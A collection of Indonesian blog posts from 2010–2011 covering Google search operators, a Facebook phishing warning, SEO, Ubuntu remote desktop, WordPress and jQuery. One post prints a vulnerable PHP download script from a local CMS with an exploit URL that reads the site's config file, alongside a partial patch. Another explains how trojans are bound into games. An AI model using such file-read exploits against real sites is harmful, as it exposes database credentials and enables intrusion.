hanya sebuah blog

Teknik Pencarian Google

noreply@blogger.com (pandewa) — Fri, 25 Feb 2011 00:13:00 +0000

Pencarian di google adalah sangat sederhana, anda cukup memasukan kata yang ingin anda cari ke dalam textbox search google dan enter, google akan mencari page yang sesuai dengan yang anda cari.

Seperti apa pencarian yang baik atau dengan kata lain bagaimana cara google menerjemahkan bahasa manusia kedalam query pencarian?

Kenyataan dalam pencarian google :

Semua kata yang anda masukan kedalam textbox search google akan digunakan untuk pencarian.
Pecarian google adalah case insensitive (tidak membedakan huruf kapital atau tidak) jadi anda tidak perlu menuliskan "Barack Obama" untuk pencarian "barack obama" karena dua frasa tersebut dianggap sama.
Umumnya tanda baca seperti: @#$%^&*()=[]\ diabaikan oleh google.

Tips untuk pencarian yang lebih baik :

Sederhanakan keyword, Misalnya anda ingin mencari kantor google di jakarta. anda cukup menggunakan keyword "google jakarta" tidak perlu anda menuliskan "dimanakah letak kantor google di jakarta?"
Pikirkan bagaimana halaman yang anda ini cari ditulis didalam sebuah konten. Search Engine bukanlah manusia, Search engine mencocokan apa yang anda cari dengan konten dari halaman yang ada, Maka gunakanlah bahasa yang sering digunakan. misalnya : "mesin elektrik pembuat kopi" diganti dengan "coffee maker".
Jelaskan apa yang anda cari dengan syarat sedikit mungkin, misalnya : "laporan cuaca di jakarta hari ini" gantilah dengan "cuaca jakarta".
Pilihan kata penjelasan. Semakin unik kata penjelasan yang anda masukan, Makin relevan hasil yang akan anda dapatkan. contoh untuk kata restoran, masukan kata pejelasan sesuai yang anda maksud seperti restoran sunda, restoran eropa, restoran vegetarian, dan sebagainya.

Pada umumnya pencarian dasar ini sudah cukup untuk menemukan page yang anda cari, namun kadang anda memerlukan sesuatu yang lebih powerful.

Prioritas

Google mengenali prioritas pencarian, dengan menggunakan tanda "" misalanya anda ingin mencari dengan keyword : biografi "barack obama" maka pencarian anda akan diprioritaskan pada "barack obama", namun hati-hati ketika menggunakan prioritas karena anda akan mengabaikan hasil dari konten lain yang mungkin relevan dengan keyword anda, Namun tidak sesuai dengan kata penegas/prioritas, dalam kasus ini misalnya "barack husain obama".

Pengkondisian terhadap kata yang tidak diginkan

Tanda minus (-) yang disisipkan di depan dari kata pencarian akan mengexclude hasil dari pencarian yang mengandung kata tersebut misalnya, "search engine -google" query ini berarti anda mencari search engine selain google.

Pencarian google #2 membahas bagaimana membuat query dengan hasil yang lebih spesifik, Jika di #1 kita membahas tentang : phrasa, perioritas, dan pengecualian kata; kali ini kita akan membahas tentang asterik, ketepatan kata, operator, punctuation, dan lain-lain.

Asterik (*)

Misalkan kita ingin mencari konten yang relatif tentang informasi indocomtech jakarta, jika kita menggunakan query ini : [indocomtech * jakarta] maka, anda akan mendapatkan result tentang indocomtech 2009 jakarta, indocomtech 2010 jakarta, indocomtech terbesar yang diselenggarakan di jakarta, dan sejenisnya.

Minus (-)

Bandingkan antara pengunaan query berikut ini, [sepeda fixie keren] dan [sepeda fixie keren -gaya], Jika query pertama menyajikan lis konten salah satunya video gaya keren sepeda fixie maka dengan query kedua lis tersebut tidak tersaji.

Operarator OR, AND

Kusus untuk menggunakan operator google menerapkan case sensitive, jadi akan menghasilkan informasi yang berbeda anatara kata kunci [uerope OR america] dan [uerope or america] begitu juga dengan AND.

OR, digunakan untuk mencari kata yang relatif dengan kata kunci yang dibandingkan dikeduanya anda bisa mencoba dengan kata kunci [study in europe OR america] coba bandingankan dengan kata kunci [study in europe america]. AND, digunakan untuk mencari kata yang berkelanjutan dengan kata yang menerangkan di belakangnya.

Tanda Baca / Punctuation

Tidak semua tanda baca diabaikan, misalkan: [C++], [C#] yang mana kedua contoh tadi adalah nama dari bahasa pemrograman. Begitu juga dengan $ untuk menghasilkan pencarian lebih baik anda perlu mencantumkan $ untuk pencarian yang mencantumkan harga. sebagai contoh adalah [notebook $500] lebih baik dari [notebook 500 dolar]. Tanda _ tidak diabaikan asal sesuai dalam penggunaanya misalkan : [quick_short] atau fungsi-fungsi pemrograman yang banyak menggunakan tanda ini sebagai contoh : [str_replace]

Kata yang biasa digunakan seperti a, an, the, for, who diabaikan oleh pencarian google, namun tetap ada pengecualian, misalkan anda mencari dengan kata kunci [the who] sebuah group band, atau [WHO] organisasi kesehatan PBB, atau [who is] yang merupakan website informasi domain.

Anda bisa menerapkan kombinasi pecarian tersebut untuk mendapatkan hasil pencarian yang lebih relevan dengan informasi yang ingin ada dapatkan, selamat mencoba ^_^

Pencarian google #3 membahas tentang Advance Operator atau Query yang mempunyai makna khusus bagi google lebih dari sekedar basic operator OR, AND, punctuatio, dan sejenisnya.

Link

Suatu saat anda ingin mengetahui dimana saja website anda di mention, atau website mana saja yang mengandung alamat domain anda, maka query ini bisa anda gunakan [link:assadotcom.blogspot.com], query ini akan menampilkan semua website yang memuat assadotcom.blogspot.com.

Cache

Pencarian dengan menggunakan operator cache akan membantu anda untuk mendapatkan informasi berdasarkan cache yang pernah dilakukan oleh google terhadap website yang anda maksud ditambah dengan highlight terhadap kata kunci yang anda masukan, serta versi text only yang bisa membantu jika anda bermasalah dengan kecepatan internet. contohnya sebagai berikut : [cache:assadotcom.blogspot.com video] query ini akan menampilkan cache google terhadap domain assadotcom.blogspot.com dengan highlight kata video.

Site

Site adalah operator yang sangat penting bagi semua orang, dengan operator ini anda bisa menjelajahi sebuah alamat domain website dengan keyword yang anda maksud. Caranya sangat mudah, masukan operator site kedalam query anda seperti berikut ini [motherboard site:assadotcom.blogspot.com], query ini jika diterjemahkan kedalam bahasa kita adalah cari halaman yang mengandung kata motherboard di website assadotcom.blogspot.com

Filetype

Bagi anda yang hobi mendownload komik, novel dalam format pdf, zip dan lain-lain, Mungkin operator berikut ini sangat membantu, Caranya adalah sebagai berikut : misalnya saya ingin mencari novel Sherlock Holmes dalam format pdf maka saya dapat menggunakan query ini [sherlock holmes filetype:pdf].

Define

Gunakan define untuk mencari sebuah definisi, contohnya adalah sebagai berikut [define:motherboard] query ini berarti anda mencari definisi dari kata motherboard, biasanya link pertama yang muncul adalah versi wikipedia yang memang menjadi acuan standar.

Allintitle

Jika anda ingin berkonsentarsi melakukan pencarian berdasakan judul, anda bisa menggunakan operator ini. Cara penggunaannya adalah sebagai berikut [allintitle: teknik pencarian di google], maka hanya halaman yang mempunyai judul yang relevan dengan kata kunci tersebut yang akan ditampilkan oleh google.

Intitle

Sedikit berbeda dengan Allintitle, Intitle akan mencari kata kunci belakang di dalam konten halaman, misalkan anda menggunakan query ini [intitle:google search] maka pencarian akan menyajikan informasi tentang halaman yang judulnya mengandung kata google dan konten yang berisi search baik di judul maupun di konten.

Allinurl

Kenyataan ini menjelaskan pentingnya anda mempunyai clean url dalam website anda, keuntungannya adalah halaman anda memungkinkan dicari berdasarkan alamat url anda. Contoh berikut ini menjelaskan hal tersebut [allinurl:teknik pencarian di google], dengan query tersebut google akan mencari halaman website yang mempunyai url mirip dengan kata kunci.

Inurl

Mirip dengan cara kerja Intitle, namun Inurl melakukan pencarian berdasarkan url dan relevansi konten berdasarkan kata kunci, sebagai contoh query berikut ini [inurl:google search], maka google akan melakukan pencarian berdasarkan url yang sesuai dengan kata kunci google dan judul+konten yang memuat kata kunci search.

Teknik Penipuan Lewat Facebook

noreply@blogger.com (pandewa) — Mon, 24 Jan 2011 08:31:00 +0000

Tadi siang, tepatnya jam 14:00 Saya menyempat untuk menarik diri dari segenab rutinitas yang menghampiri, langsung perhatian Saya tertuju kepada website social networking Facebook, setelah login dengan benar, pada kotak Masuk Saya ada pesan baru, entah dari siapa pengirimnya, langsung saja Saya klik untuk membaca pesan tersebut, berikut cuplikan dari pesan tersebut

Spontan, Saya kaget karena pada judul tertera bahwa akun Saya tidak sah (NOT VALID), baca dibaca, pada pesan tersebut jelas terlulis bahwa

Please update your email address and re-active your account.
Our system found that your id is not valid. Up requires all users to use one email contacts active. Please complete and confirm the new contact's email and your data below:
http://apps.facebook.com/adm-repeated
Thank you,
Tim facebook

Pada pesan tersebut, pengirim meminta Saya untuk kembali mengaktifkan email. nah, dari sini kecurigaan mulai timbul, ada beberapa alasan yang akan Saya coba kemukakan.
1. Akun email saya dikatakan tidak aktif, dan tidak falid. Apa benar akun Saya tidak falid ? untuk itu akan Saya coba melakukan pengujian, yang mana solusinya adalah Saya langsung menguji dengan login ke akun email Saya . Alhasil, Saya berhasil login. Jadi, untuk permasalahan akun email yang falid, tidak benar adanya, dan setau Saya pribadi, jika ada pemberitahuan seperti ini, facebook biasanya mengirimkan email langsung ke alamat email saya.
2. Pada pesan tersebut dikatakan bahwa email Saya tidak valid, dan diminta untuk melakukan pengisian dan mengkonfirmasi email kontak baru dan data Pada alamat http://apps.facebook.com/adm-repeated . Rasa curiga kian besar, dan tanda tanya kian membuncah dalam benak Saya, tapi tenang, kita tidak bisa langsung memfonis, apakah ini benar, atau memang ini adalah tenik penipuan.
Untuk memastikan keasliannya, Saya mencoba masuk kehalaman resmi dari Adm Repeated seperti gambar dbawah ini. Alhasil Saya tidak mendapatkan informasi apa-apa. Bagaimana kesimpulannya ? menurut Saya ini adalah sebuah teknik penipuan dimana pelaku ingin mencuri email akan Saya yang mana terlebih dahulu Saya akan dipancing untuk masuk dalam aplikasi yang telah disediakan.

ingatkah Anda denga teknik Virus ILoveU.bat ? jika tidak, sempatkan untuk membaca artikel berikut ini. Jujur saja, Saya pribadi langsung teringat akan bahaya social enginering ini, banyak hal yang akan digali oleh si pelaku melalui teknik ini, salah satunya adalah akun email kita.

Beranjak dari pengalaman, tentunya kita akan lebih dewasa dalam pengambilan sebuah keputusan, itulah kenapa Saya tidak melakukan atau lebih tepatnya masuk kepada aplikasi yang telah disediakan oleh si”pengirim”.

Semoga artikel ini dapat membantu Anda untuk lebih berhati-hati untuk masa yang akan datang.

Andai Aku Jadi Gayus Tambunan

noreply@blogger.com (pandewa) — Sun, 16 Jan 2011 16:31:00 +0000

Andai Aku Jadi Gayus Tambunan
publik kembali dihebohkan dengan Gayus, ya, siapa tak kenal Gayus, manusia serakah namun super :) kenapa tidak, banyah ulah dan tingkahnya dalam lapas yang mana bisa insaf namun malah main sogok menyogok, ah buang basa basi itu kawan, tak ada yang dapat kau dapat kan dan harapkan dinegeri yang selalu bertalanjang dada ini.
adalah lagu Andai Aku Jadi Gayus Tambunan yang di nyanyikan oleh Bona. seorang mantan napi yang baru saja bebas dari lapas Gorontalo. Bona menciptkan lagu ini karena terinspirasi dengan pengalaman pribadinya saat menjalani proses hukum yang sangat berbeda dengan apa yang di alami ileh Gayus Tambunan

Pelantun Lagu "Andai Aku Jadi Gayus" Diperiksa

Gorontalo (ANTARA) - Kepolisian Daerah (Polda) Gorontalo telah memanggil dan memeriksa pelantun lagu "Andai Aku Jadi Gayus", Bona Paputungan.
Usai membuat laporan polisi di bagian Sentra Pelayanan Kepolisian (SPK), Bona menjalani pemeriksaan di bagian penyidik Reskrim Polda Gorontalo, sejak pukul 02.00 WIT Minggu dinihari.
Kepala Satuan (Kasat) Ops I Reskrim Polda Gorontalo, AKBP Haddra mengatakan, pemeriksaan yang dilakukan saat ini sebagai tahap awal.
Penyidik masih mengumpulkan informasi dari pelapor dan para saksi, kata Haddra, Minggu.
Terkait dugaan keterlibatan densus dalam aksi teror tersebut menurut Haddra, Polda Gorontalo masih perlu menghimpun keterangan guna dikembangkan ke tahap selanjutnya.
Terlalu dini untuk menyimpulkan, karena saat ini masih dalam tahap pembuatan Berita Acara Pemeriksaan, jelas Haddra.
Haddra pun belum dapat memastikan pelaku aksi teror melalui telepon, yang mengatasnamakan dirinya sebagai anggota densus.
Meski demikian Haddra berjanji, Polda Gorontalo akan segera mengusut aksi teror yang menimpa Bona Paputungan terkait lagu "Andai Aku Jadi Gayus".

Berikut Lyrics dan Video Lagu tersebut

download lagu andai aku jadi gayus melalui link berikut ini

Bona B.E. - Andai Aku Jadi Gayus Lyrics

Sebelas maret diriku masuk penjara
Awalku menjalani proses masa tahanan
Hidup dipenjara sangat berat kurasakan
Badanku kurus karena beban pikiran

Kita orang yang lemah tak punya daya apa apa
Tak bisa berbuat banyak seperti para koruptor

Reff:

Andai ku gayus tambunan yang bisa pergi ke bali
Semua keinginannya pasti bisa terpenuhi
Lucunya dinegeri ini hukuman bisa dibeli
Kita orang yang lemah pasrah akan keadaan

Tujuh oktober ku bebas dari penjara
Menghirup udara segar lepaskan penderitaan
Wahai saudara dan para sahabatku
Lakukan yang terbaik jangan engkau salah arah

Back to Reff

Biarlah semua menjadi kenangan
kenangan yang pahit dalam hidup ini

Back to Reff

White Hat & Black Hat SEO

noreply@blogger.com (pandewa) — Sat, 15 Jan 2011 02:34:00 +0000

Black Hat & white Hat Pada SEO

Pengantar

Mendengar kata Black Hat & white Hat tentunya pikiran kita melayang pada Hacker yang mana merupakan “sifat” dari mereka ada yang baik, dan ada pula sebaliknya yakni jahat. Pada Black Hat & white Hat yang akan kita kaji bukan mengenai hacker melainkan mengarah kepada sifat dari “pelaku” internet marketing, blogging, dan lain sebagainya.

Saya dan Anda tentunya akan sangat senang jika posisi blog pada mesin pencari (keyword) menampati urutan no 1 atau pada halaman pertama mesin pencari. Kenapa, hal ini dapat meningkatkan trafik dari pada blog kita, meningkatkan pagerank (PR) dan bagi anda pelaku Internet Marketing, hal ini akan meningkatkan bisnis Anda.

Sekarang, timbul suatu pertanyaan. Apa posisi yang di perubutkan itu ? Tidak lain tentunya adalah posisi pada Search Engine Return Page atau di singkat SERP, yang mana SERP ini adalah daftar halaman web yang dihasilkan oleh searc h engine saat kita mengetikkan keyword tertentu.

Keyword

Hasil pada SERP yang ditampilkan search engine sangat tergantung pada keyword, kenapa ? keyword adalah sesuatu aspek yang vital dari perencanaan Search Engine Optimizaton, jika situs anda memasang keyword yang salah, search engine dan customer anda tidak akan menemukan website anda. Melalui keyword, search engine akan menentukan apakah sebuah halaman web berkaitan dengan apa yang dicari oleh seorang user.

Backlink

adalah sebuah link atau teks yang berada di situs lain atau situs kita sendiri yang jika kita klik maka akan menuju ke suatu halaman lainnya dan ini disebut backlink untuk halaman yang dituju tersebut. Teks dari link ini biasanya berupa anchor text atau teks singkat yang biasanya adalah kata kunci dari halaman tujuan tersebut. Backlink disebut juga incoming link, inbound link merupakan link sebuah website yang terletak pada website lain. Berikut ini beberapa trik untuk memperbanyak backlink, beberapa cara dapat dilakukan, antara lain :

· Saling bertukar link

· Memposting link pada website pihak ketiga, seperti website sosial bookmark/news (contoh:lintasberita.com, dig.com)

White Hat SEO

Optimalisasi Konten

Akan akan setuju jika Saya mengatakan Conten is the King, tentunya ini bukan tanpa alasan. Konten yang berkuliatas jelas lebih diniminati dibantingkan dengan (ma’f) konten yang buruk, Saya banyak menemukan isi kontent berupa “sampah”. Konten pada sebuah website memiliki cangkupan yang luas dalam hubungannya dengan halaman website. Konten bisa berupa teks, image, sound, video, map, jika kontent Anda berupa teks, berikanlah bacaan yang baik pada pengunjung/pembaca hal ini akan memberikan dampak yang positif bagi blog yang dikelola yakni pengunjung menjadi betah dan akan berkunjung dilain waktu. Bagaimana dengan gambar, ? anggapan kita pada search engine adalah dapat menampilkan gambar saja tanpa memperdulikan kontent. Untuk membuat anda tidak rancu, coba perhatikan kode HTML singkat berikut ini :

HTML, using GeSHi 1.0.8.8
<IMG SRC=”image/pandewa.jpg
ALT=”seorang blogger pemula yang bercita-cita menjadi penulis”
WIDTH=150 HEIGHT=300>

1. image/pandewa.jpg merupakan sumber konten gambar.

2. Tag alt pada gambar digunakan untuk penulisan deskripsi gambar yang ditampilkan. Walau belum tentu juga tidak signifikan bagi search engine.

kesimpulannya, membuat sebuah konten yang berkualitas akan menarik perhatian dan motivasi orang untuk mengaitkan (link) artikel Anda.

Backlink Berkulitas

Sekarang kita akan berbicara bagaimana membuat sebuah backlink yang berkualitas, analogikanya adalah banyangkan Anda melihat sebuah website dengan tema tertentu (misalkan : game, hardware, linux, jaringan) jika ada link yang berpasangan pada website tersebut akan mengarahkan kepada website sejenis atau web yang kontennya memiliki informasi yang berhubungan . ini merupakan link yang diharapkan oleh seorang pengunjung ketikan mengunjungi sebuah website. Kualitas backlink sendiri tidak bergantung kepada banyaknya link yang terpasang pada sebuah website, namun sebaiknya Anda melihat relevansi antara konten website Anda dengan konten web dengan siapa anda melakukan link exchenge. Backlink dapat juga dibuat berbentuk anchor tect, ibarat sebuah kata pada buku yang memiliki catatan kaki, dengan demikian pembaca akan menemukan informasi yang lebih komplit mengenai kata tersebut.

Judul

Apa yang membuat Anda menjadi tertarik untuk membaca sebuah buku ? jika pertanyaan tersebut dilayangkan kepada Saya, maka akan Saya jawab judul dari buku tersebut. Judul merupakan impresi pertama yang dapat membuat orang tertarik atau sebaliknya untuk melihat lebih jauh. Pada HTML, judul dapat diletakkan pada kode

HTML, using GeSHi 1.0.8.8
<TITLE>
judul
</TITLE>
 

Dengan demikian, judul akan tampil pada search engine, gambar berikut merupakan judul yang tampil pada halaman pencarian google

terlihat jelas, bahwa judul terlihat mencolok dan mempengaruhi orang untuk mengkliknya. coba Anda perhatikan bahwa google dan search engine lainnya hanya mengambil 70 karakter untuk di tampilkan pada hasil pencarian. Jadi, dapat kita simpulkan carilah kata-kata yang menarik namun tidak terlalu panjang untuk sebuah judul.

Black Hat Seo

Setelah kita membahas sis baik dari sebuah teknik SEO, sekarang kita akan memplajari sedikit mengenai sisi lain dari ilmu SEO ini yakni Black Hat SEO. Kebalikan dari White Hat SEO, pada Black Hat SEO berusaha menggunakan cara-cara yang tidak etis dan seringkali berusaha mengakali cara kerja search engine demi mendapatkan sebuah peringkat. Hal ini tentunya mengandung resiko bagi Anda yang menggunakan teknik ini, knapa Saya sebutkan beresiko adalah jika search engine mengetahui Anda menggimplementasikan cara tidak etis ini, dan memberikan penalti yang dapat menyebabkan website Anda tidak diizinkan terdaftar pada search engine.

SPAMDEXING

Coba anda perhatikan analogika berikut ini

Terdapat sebuah perpustakaan yang super canggih, dimana pada perpustakaan tersebut dapat mencari dengan cepat, setiap judul buku dengan kecepatan tinggi, dan melakukan index terhadab buku yang di cari. Jika Saya datang pada perpustakaan tersebut, si robot dapat merekomendasikan buku yang relevan tanpa Saya menelusuri seluruh rak-rak yang terdapat pada perpustakaan tersebut. Dalam melakukan index, si robot ternyata terpaku kepada kata/kalimat pada buku tanpa memahami artinya, alhasil banyak buku tebal yang dipenuhi dengan kata-kata yang berulang-ulang tanpa makna (redundansi) si robot telah memposisikan dirinya pada robot yang meletakkan sampah pada prioritas yang tinggi, dan merekomendasikan pada pengunjung pustaka. Tentunya Saya dan Anda akan kecewa jika mendapatkan buku tersebut.

Sekarang, Anda bisa mengartikan analogi yang saya gambarkan diatas, si robot adalah search engine sementara buku adalah halaman website, dan orang yang datang ke perpustakaan adalah pengunjung yang mengetikkan keyword di serach engine, dan buku sampah yang saya sebutkan sejatinya adalah spamdexing yang mana telah dibuat oleh pelaku Black Hat SEO untuk mengecoh search engine, dan akhirnya merugikan pengunjung.

Kerugian yang ditimbulkan adalah berkurangnya performa dari search engine guna menyediakan informasi yang akurat dan berguna menjadi berkurang, oleh karena itu algoritma search negine terus diperbaiki untuk menanggulangi permasalahan ini.

DOORWAY PAGE

Adalah halaman yang mengandung sedikit konten, tetapi berisi berisi keyword/frase tertentu untuk menarik search engine tanpa dianggap spam. Sejatinya, teknik ini berisi link yang mengarah pada halaman lain, sehingga secara keseluruhan teknik ini merupakan halaman website berkualitas rendah, dan tentunya tidak diharapkan oleh pengguna.

Remote Dekstop Windows Menggunakan Ubuntu 10.10

noreply@blogger.com (pandewa) — Tue, 14 Dec 2010 05:00:00 +0000

Remote Dekstop Windows Menggunakan Ubuntu 10.10

sudah lama rasanya blok ini terbengkalai dan tidak ada update postingannya, dan tentunya anda telah menunggu-nunggu update postingan blog ini kan :)
Pada kesempatan kali ini, Saya akan mencoba menjelaskan bagaimana melakukan remote dekstop menggunakan Ubuntu 10.10 a.k.a Maverick Meerkat.
Sebelumnya, akan Saya jelaskan apa itu Remote Desktop. Remote Desktop adalah salah satu fitur yang terdapat di dalam sistem operasi microsoft windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, maupun Windows 7. Yang mengizinkan penggunanya untuk terkoneksi ke sebuah mesin jarak jauh seolah-olah mereka duduk di depan mesin yang bersangkutan. Remote Dekstop menggunakan protokol Remote Desktop Protocol (RDP), dan secara default berjalan di TCP port 3389

Seting Remote Desktop Pada Windows XP

klik Start > My Computer (klik kanan) > Properties

Maka akan tampilan menu Syestem Properties seperti pada gambar berikut ini

Lakukan perubahan pada Menu Remote seperti yang tampak pada gambar di atas

Setingan pada Windows telah selesai kita lakukan, itu artinya, komuter ini telah siap untuk d remote. Sekarang, pada Ubuntu, klik Application > Internet > Terminal Server Client seperti yang tampak pada gambar di bawah ini. Ketikkan lah alamat IP komputer yang akan di Remote, User Name dan juga Password Setelah itu klik Connect

berikut ini adalah tampilan kompter yang telah kita Remote

Sekian artikel dari saya, semoga artikel ini dapat bermanfaat bagi Anda, dan terimakasih telah meluangkan waktunya untuk membaca artikel ini :)

Menambah Widget Pada WordPres

noreply@blogger.com (pandewa) — Sat, 06 Nov 2010 16:11:00 +0000

Menambah Widget Pada WordPres

Artikel berikut adalah artikel yang saya tulis untuk salah satu guru Pak Diwarman Chaniago yang mengirimkan email kepada Saya, dimana email tersebut berisi

Cara mengopikan widget ke halaman blog wordpress? Bgm langkah-langkahnya? terima kasih

Pada tutorial ini, saya mengimplementasikan kepada widget buku tamu, yaitu shoutmix.
1. login terlebih dahulu pada blog wordpress Anda.
setelah berhasil login dengan benar, maka akan tampil halaman dasbord wordpress seperti gambar berikut ini.

dasbord

2. Sekarang kita akan masuk ke menu Apperance yang terletak pada sebelah kiri kita, dimana menu apperance ini berfungsi untuk melakukan konfigurasi/pengaturan terhadap design, tata letak, menambah menu baru dan juga mengganti template. Sekarang, klik Apprearance -> Widget

Menu Apperance

setelah proses loading selesai, akan tampil halaman seperti berikut ini :

Widget

Dalam contoh kasus ini, Saya akan menambahkan sebuah widget shoutmix, apa itu shutmix ? adalah suatu aplikasi website berupa pihak ketiga yang dipakai dalam suatu website sebagai tempat untuk chating, tempat untuk berkomentar, dan juga sebagai form buku tamu. silahkan baca artikel membuat shoutmix berikut ini jika Anda ingin membuat sebuah buku tamu untuk blog wordpress Anda

Berikut kode yang Saya dapatkan dari shoutmix untuk dijadikan sebuah widget pada blog wordpress

shoutmix code

Sekarang, kita kembali lagi pada Wordpress, dimana setelah mendapatkan sebuah kode HTML yang mana nantinya kode ini akan kita implementasikan pada blog wordpress.

Pada Menu Apprearance klik Widget > Teks > Sunting. seperti berikut ini gambarannya

tambah gadget

Setelah berhasil menambahkan widget "teks" klik "sunting"

Sunting

Pada kotak widget "teks" ini, saya akan menambahkan widget buku tamu, yang mana widget buku tamu ini Saya dapatkan dari http://www4.shoutmix.com.

paste

Setelah itu, klik Selesai > Simpan Perubahan. lihatlah pada blog Anda, sekarang sudah terdapat menu baru.

Demikianlah artikel ini, semoga dapat bermannfaat. :)

Buku Tamu

noreply@blogger.com (pandewa) — Fri, 22 Oct 2010 14:35:00 +0000

buku tamu

PHP Bug di CMS PHP L.hakim

noreply@blogger.com (pandewa) — Tue, 12 Oct 2010 23:27:00 +0000

Jika pada artikel sebelumnya saya menghadirkan artikel mengenai Bug Cms PHP karya Bapak L.Hakim silahkan baca disini , maka pada artikel kali ini saya akan mengulas mengenai Bug, dan juga cara penanganannya (Path)

berawal dari sahabat saya dengan nick kodok ngorek, yang telah berhasil menemukan puluhan website yang menggunakan CMS ini, dan juga mas Nathan yang telah berhasil masuk ke website Hasanudin Makasar yang juga menggunakan CMS PHP karya Pak Lukmn Hakim ini.

nah, berikut penjelasan Bug CMS ini :

1. bug pada downlot.php

kelemahan pada bug ini adalah tidak memfilter dokumen yg akan di download sehingga bisa mendownload file bahkan config dalam website tersebut. berikut isi dari file download.php

code program

<?php
 
$filename = $_GET['file'];
$file_extension = strtolower(substr(strrchr($filename,"."),1));
 
switch($file_extension){
  case "pdf": $ctype="application/pdf"; break;
  case "exe": $ctype="application/octet-stream"; break;
  case "zip": $ctype="application/zip"; break;
  case "rar": $ctype="application/rar"; break;
  case "doc": $ctype="application/msword"; break;
  case "xls": $ctype="application/vnd.ms-excel"; break;
  case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
  case "gif": $ctype="image/gif"; break;
  case "png": $ctype="image/png"; break;
  case "jpeg":
  case "jpg": $ctype="image/jpg"; break;
  default: $ctype="application/proses";
}
header("Pragma: private"); 
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); 
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
exit(); 
?>

Parsed in 0.005 seconds at 198.86 KB/s

contohnya :

http://korban/downlot.php?file=config/koneksi.php

2. bugs add user baru

menurut saya, inilah bug yang sangat parah sekali, karena melalui bug ini, hacker bisa memanfaatkannya untuk membuat user baru, bahkan menghapus user yang telah ada.

Untuk melakukan Patching:

Bugs yang saya temukan berada di bagian admin/content.php

dimana pada source code tidak difilter dengan session. pastekan code berikut setelah include( “../config/class_paging.php”);

code program

session_start();
if (empty($_SESSION[namauser]) AND empty($_SESSION[passuser])){
echo "
This Site has been Patched Pandewa";
echo "gerandong team cyber";
echo "klik disini untuk LOGIN
"; }
else{

Parsed in 0.019 seconds at 10.48 KB/s

Smoga artikel ini dapat bermanfaat untuk Anda,

special thank’s buat team gerandong cyber,,, dan Anda

Topeng Pembungkus Trojan

noreply@blogger.com (pandewa) — Sun, 10 Oct 2010 14:35:00 +0000

Saat ini, virus komputer menyebar dengan cepatnya merusak bahkan menghancurkan sistem komputer. Anda tentunya bertanya tanya bagaimana penyebaran sebuah virus ? dalam artikel ini, saya akan mencoba menjelaskan kepada Anda mengenai Binder, Topeng Pembungkus Trojan.

Social Enginering. Adalah teknik yang paling sering di gunakan, seperti yang pernah saya tulis dala artikel saya sabelumnya di sini . Social Enginering adlah teknik yang sudah terbukti mudah dan paling banyak di gunakan dan cara ini terbukti sangat efektif. salah satu teknik Social Enginering yang sangat efektif untuk di gunakan adalah membungkus trojan kedalam program lain. Anda tentunya sering mendownload aplikasi di internet bukan ? ntah itu aplikasi komputer, games dll. tapi, cobalah Anda berfikir apakah aplikasi yang sedang di download aman dari virus, worm, malware ? Hacker bisa saja mengirimkan program games yang telah terinfeksi dengan server trojan kepada calon korbannya dan ketika games tersebut dijalankan, secara otomatis trojan akan menginfeksi komputer tersebut. Tentu saja, korban tidak akan mengetahui hal ini karena games yang didownload tetap bisa dijalankan secara normal.

Timbul sebuah pertanyaan, “Bagaimana memasukkan/ menggabungkan trojan kedalam suatu aplikasi ? pertanyaan ini juga pernah d lontarkan oleh salah seorang sahabat saya melalui email.

Bila Anda membedah setiap file program, pada awal program terdapat kode program yang biasa di sebut header program. Header ini menginformasikan kepada komputer cara mengeksekusi program tersebut. Coba Anda perhatikan gambar berikut ini

Program akan mengkopy program trojan dan diletakkan dibawah program games kemudian merubah header dari program games akan memerintahkan komputer mengeksekusi program trojan terlebih dahulu. Pada akhir proram trojan, akan dibuat lagi sebuah lompatan balik yang akan mengeksekusi program games. Dengan demikian, trojan akan dijalankan secara diam-diam pada komputer anda kemudian program games akan dijalankan secara biasa.

Untuk membuat anda mengeti dengan teknik ini, maka pada contoh lain. pada contoh ini, kita akan menggunakan OLE (object Linking and Embedding) adalah suatu feature yang memungkinkan beberapa aplikasi saling berkomunikasi dan bekerja sama. sebagai contoh Anda bisa memasukkan dolumen dari Microsoft Word ke dalam Microsoft Exel.

Apa hubungan OLE dengan hacking ? muncul pertanyaan baru lagi di hadapan kita. jika Anda bisa lebih kreatif, teknik OLE dapat Anda manfaatkan, yaitu menggabungkan program yang berbeda. nah, Anda bukan hanya bisa memasukkan documen biasa kedalam dokumen lain, namun Anda ternyata juga bisa memasukkan program kedalamnya.

untuk artikel OLE (object Linking and Embedding) akan saya bahas terpisah.

Apa yang dapat kita ambil benang merah dari artikel ini ? menurut saya, hal yang harus Anda prhatikan adalah :

Hindari mendownload software bajakan.
Cek port yang terbuka pada komputer Anda

Simple Lava Menu Menggunakan jQuery

noreply@blogger.com (pandewa) — Sun, 03 Oct 2010 05:35:00 +0000

Simple Lava Menu Menggunakan jQuery

Jika pada artikel saya sebelumnya menggenai jQuery yaitu membuat Menu drop down menggunakan jQuery, maka pada artikel kali ini saya akan mencoba mengulas membuat sebuha menu lava, Lava lamp Menu adalah salah satu menu favorit yang telah menggunakan oleh beberapa website. untuk demo, silahkan lihat disini

HTML

Pada bagian HTML, supaya terlihat rapi, kita gunakan daftar UL untuk menu. Ini dianjurkan untuk menggunakan daftar UL untuk menu. Dalam menu ini Lava tutorial ini, kita akan membutuhkan beberapa elemen html tambahan setelah daftar untuk membuat gelembung yang mengambang. Juga, Anda perlu mengatur default item yang dipilih, ini adalah bagaimana HTML terlihat seperti ini:

code program
<div id="lava">
<ul>
 
<li><a href="#">home</a></li>
 <li><a href="#">Blog</a></li>
 <li class="selected"><a href="#">jQuery</a></li>                        
</ul>
 <div id="box"><div class="head"></div></div>
 
</div>
Parsed in 0.015 seconds at 13.82 KB/s

2. CSS.

Untuk mempercantik tampilan Lava Lamp Anda, kita gunakan CSS untuk membuat animasi, posisi absolut dan relatif. Jika kita ingin mengatur posisi mutlak dalam sebuah wadah, kita perlu memastikan item induk disetel ke posisi relatif, jika tidak, item yang lain akan diposisikan sesuai dengan layar jendela. Berikut kode CSS-nya

code program
        body {
        font-family:georgia; 
        font-size:14px; 
        }
        a
        {
        text-decoration:none; 
        color:#333;
        }
        
        #lava {
                
        position:relative; 
        text-align:center; 
        width:583px; 
        height:40px;
